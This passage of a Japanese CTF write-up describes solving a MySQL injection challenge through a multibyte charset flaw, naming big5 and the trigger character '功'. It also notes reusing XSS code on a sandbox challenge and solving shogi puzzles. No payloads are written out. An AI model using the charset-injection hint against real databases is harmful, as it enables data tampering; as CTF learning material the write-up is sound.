文字コードが指定できるので 5C 問題的な何かかな? と思うも sjis はブロックされている.
mysql に set できる文字コードで同じような問題が起きるものはないか? と思って調べていると,
big5
というのも起きるらしく「功」が該当文字であることがわかった.
あとはうまく SQL 文を組み立てて,最初のレコードを insert してみるもうまくいかず.
さらに調べてみると insert しているテーブルに副問い合わせする場合は,
as
を使ってテーブルに別名をつけてあげないとうまく動かないらしい.
別名をつけてあげるとなんか文字化けしたレコードが追加された.
ここから全然わからなかったのだけど,ふとしたタイミングで間違って文字コードを euc-jp にしたらフラグになった.
すごい偶然だった.
箱庭XSS2
何も考えずに 箱庭XSS で使ったコード突っ込んだらフラグが出た.
兵法術
将棋詰め壱
将棋のサイトを見ながら頑張った.
将棋詰め弐
右上の座標の漢字が入れ替わってることに注意してやった.
将棋詰め参
頑張る
将棋詰め四
同上,ソルバでも書いたほうが良かったかも,というくらいには時間かかった.